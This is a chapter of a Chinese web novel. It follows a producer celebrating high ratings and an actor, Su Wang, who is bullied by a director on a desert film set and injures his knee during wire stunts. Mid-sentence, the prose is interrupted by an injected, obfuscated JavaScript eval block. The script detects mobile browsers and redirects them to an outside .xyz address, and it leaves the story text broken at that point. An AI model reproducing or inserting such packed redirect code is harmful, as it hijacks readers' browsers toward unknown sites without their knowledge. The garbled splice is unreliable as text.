第十八章
袁百川的临时办公室里烟雾缭绕，桌上堆满了外卖盒、空咖啡杯和打印出来还带着油墨味的收视率曲线图。实时数据在几块大屏幕上疯狂跳动，红色的线条一路飙升，几乎要冲破天花板。
“破2了！川哥！2.5了！！”一个年轻的宣发助理盯着屏幕，激动得声音劈叉，挥舞着手里的平板。
办公室里瞬间爆发出压抑已久的欢呼。熬夜熬得双眼通红的团队小伙子们击掌、拥抱，有人甚至跳上了桌子。
王姐穿着利落的西装套裙，踩着高跟鞋“哒哒”地走进来，脸上是压不住的喜气，用力拍了下袁百川的肩膀：“小袁！！开门红！这数据炸了！”
袁百川站在人群中心，穿着件灰色连帽衫，头发乱糟糟地翘着，下巴上冒出一层青黑的胡茬。他盯着那根昂扬向上的红色曲线，心脏在胸腔里擂鼓般狂跳，震得耳膜嗡嗡作响。
成了！真他妈成了！他熬过的夜，喝到吐的酒，磨破嘴皮子谈下来的每一分钱，都值了！
他摸出手机，屏幕还停留在和宿望的微信聊天界面。上一条是宿望发来的，一张在戈壁落日下的自拍，头发被风吹乱，脸上带着点疲惫但明亮的笑，配文：【收工，一切顺利。川哥加油！等你捷报！】时间是两小时前。
袁百川咧开嘴，手指因为激动有点抖，飞快地打字：【爆了！开门红！破2.5了！】后面跟了个龇牙大笑的表情包。
点击发送。他几乎能想象宿望在戈壁的星空下看到这条信息时亮起来的眼睛。
手机震动，宿望几乎是秒回：【牛逼！！！我就知道！袁制片威武！！！】后面跟了一串放鞭炮和撒花的表情。
袁百川看着那串夸张的表情，嘴角咧得更开了，连日熬夜的疲惫似乎都消散不少。他把手机揣回兜里，转身对着还在兴奋的团队吼了一嗓子：“宵夜我请！想吃什么随便点！管够！”
欢呼声更响了。
林薇的车像一座移动的温暖孤岛，载着浑身湿冷的宿望和惊魂未定的小陈，碾过戈壁滩冰冷的夜色，驶向剧组下榻的酒店。
车内的暖风呼呼吹着，宿望裹紧外套，半张脸埋在帽衫的阴影里，闭着眼，像是睡着了。只有紧抿的唇线和偶尔因车身颠簸而微微蹙起的眉头，泄露着身体的不适和神经的紧绷。膝盖的伤口在干燥的裤料下闷闷地痛，火烧火燎。
林薇没再多问，只是让助理把空调温度调高了些，又递过来一条干净的厚毯子。一路无言。车子停在酒店门口，宿望睁开眼，眼神里带着长途跋涉后的疲惫和一丝不易察觉的麻木。
“谢了，林老师。”他声音依旧沙哑，动作有些迟缓地去开车门。
“宿望，”林薇在他下车前叫住他，声音温和却带着点郑重，“郑导他……在圈里出了名的固执，对非科班出身的人，尤其……”她斟酌了一下措辞，“尤其苛刻。你……多担待些。膝盖的伤，回去让小陈好好处理，别感染了。”
宿望拉开车门的手顿了一下，冷风瞬间灌了进来。他没回头，只低低“嗯”了一声，算是回应。
担待？他除了担待，还能怎样？
接下来的日子，郑导的“艺术追求”变本加厉，像一张细密的网，无声无息地笼罩在宿望身上。执行导演成了他最忠实的传声筒和加码器。
宿望说完台词，情绪平稳递进。郑导盯着监视器，眉头拧成疙瘩：“卡！”他拿起对讲机，声音透过喇叭带着刺耳的挑剔：
“宿望！你刚才那个眼神什么意思？太飘了！我要的是聚焦！聚焦在林老师身上！聚焦在她话里的那个点！别跟丢了魂儿似的！重来！”
一次，两次，三次……每一次NG，理由都似是而非——“情绪不够下沉”、“台词节奏太平”、“肢体太僵硬”…
宿望像个被不断调试的机器，按照郑导那套玄之又玄的标准，一遍遍重复。膝盖的伤处因为长时间站立和细微的调整动作，持续传来钝痛。
执行导演抱着胳膊站在监视器旁边，凉飕飕地开口，声音不大，刚好能让片场安静下来时听见：“宿老师，导演的要求是精准，不是差不多。竖屏那套快节奏、抓眼球的东西，在这里行不通。静下心来，好好磨。”
“磨”字咬得格外重，带着赤裸裸的轻蔑。
宿望沉默地站在原地，垂在身侧的手指蜷了蜷，又松开。他深吸一口气，压下喉咙口的涩意，抬眼看向林薇：“林老师，抱歉，我们再试一次。”
林薇看着他苍白的脸色和眼底极力压制的疲惫，眉头微蹙。她能感觉到宿望在努力，甚至可以说超乎寻常地努力在靠近郑导那套模糊的标准，但郑导似乎铁了心要“打磨”他。
宿望被威亚吊在半空，反复拍摄一个旋转落地的动作。每一次下坠，膝盖承受的压力都让他额角渗出冷汗。拍了七八条，郑导始终不满意落地时的姿态。
“卡！还是不对！不够轻盈！不够利落！”郑导在下面喊，“武指！上去看看！是不是威亚绳缠住了？动作这么笨重！”
武指上去检查了一圈，下来汇报：“郑导，威亚没问题，角度和力量都调好了。”
“没问题？”郑导的视线像探照灯一样扫向半空中的宿望，带着毫不掩饰的怀疑，“那就是人的问题了。宿望，你是不是恐高？还是身体协调性没练到位？克服一下！别耽误大家时间！”
执行导演立刻接口，对着周围忙碌的工作人员，声音不高不低地抱怨：“唉，吊威亚看着帅，拍起来就是耗时间。有些人没经验，一个镜头磨一天都正常。”
这话听着像解释，实则把耗时间的锅稳稳扣在了宿望头上。
宿望悬在半空，冰冷的金属腰带勒得他腰腹生疼，膝盖的伤更是被每一次下坠冲击得钻心。他咬紧牙关，对着下面喊：“导演，再来！我能行！”
这一次，他用尽全身力气控制着下落的姿态，几乎是用意志力对抗着膝盖的剧痛和身体的疲惫。
落地瞬间，他清晰地感觉到膝盖处传来一声
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326081|183223||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
细微又令人牙酸的“咯啦”声，一股钻心的锐痛猛地窜上来，眼前一黑，身体不受控制地晃了晃，差点跪倒，被他死死用手撑住地面才稳住。
“卡！这条……勉强能用吧。”郑导的语气带着施舍般的勉强，挥挥手，“过！准备下一场！”
宿望被威亚放下来，脚刚沾地，膝盖一阵剧烈的刺痛让他闷哼一声，冷汗瞬间浸透了后背的戏服。小陈立刻冲上来扶住他。
“哥！膝盖怎么了？”小陈急得声音都变了调。
宿望摆摆手，示意她别声张，强撑着站稳，脸色惨白如纸。执行导演慢悠悠地踱过来，扫了一眼他冷汗涔涔的脸和微微发抖的腿，皮笑肉不笑地说：“哟，宿老师辛苦了。看来这威亚戏对体能要求是挺高的哈？回去好好休息，明天还有重头戏呢。”
所谓的重头戏是一场气氛压抑的家庭晚餐戏。
宿望饰演的男主和饰演他刻薄姑妈的资深女演员对戏。按照剧本，姑妈会阴阳怪气地指责男主，男主需要压抑着愤怒和委屈。
老演员功底深厚，台词抑扬顿挫，眼神动作都带着压迫感。宿望按照剧本要求，低着头，沉默地听着，肩膀微微绷紧，手指无意识地抠着桌沿，将那种隐忍的屈辱感表现得恰到好处。
“卡！”郑导的声音却带着明显的不满，“宿望！你聋了？！姑妈在骂你！在羞辱你！你一点反应都没有？！木头啊？！我要看到你内心的愤怒！看到你情绪的波动！不是让你当个闷葫芦！重来！”
宿望抬起头，嘴唇动了动，想解释剧本里男主此刻就是需要压抑。但郑导根本不给他开口的机会：“重来！情绪给上去！别磨蹭！”
第二条，宿望在对方指责时，抬起眼，眼底带着压抑的红血丝和屈辱的怒火，身体微微前倾，像是要爆发，又强行忍住。
“卡！过了过了！情绪太外放！太假！收着点！我要的是内敛的爆发！不是张牙舞爪！重来！”
第三条，第四条……每一次，郑导都能挑出新的毛病。不是“表情太僵”就是“眼神太飘”，要么就是“肢体语言多余”。片场的气氛越来越压抑。老演员也有些不满，但碍于身份没说什么。
执行导演抱着保温杯，在一旁凉飕飕地“开导”：“宿老师，别急嘛。郑导要求高，是为你好。你这角色层次多深啊，不好演。多磨磨，总能磨出点东西来。”那语气，仿佛宿望是一块顽石，需要郑导的“妙手”才能点化。
宿望站在那里，感觉像被剥光了衣服扔在聚光灯下，所有的努力都被反复否定、践踏。膝盖的旧伤和新添的扭伤一起叫嚣着疼痛，胃里也因长时间的精神紧绷和未进食而隐隐作痛。他脸色白得吓人，嘴唇抿成一条没有血色的直线，身体微微颤抖，不知是气的还是痛的。
就在郑导拿起喇叭准备喊第五次“Action”时，一直安静坐在旁边的林薇突然站了起来。
“郑导。”
她的声音不高，却异常清晰地把所有人的目光瞬间被吸引过去。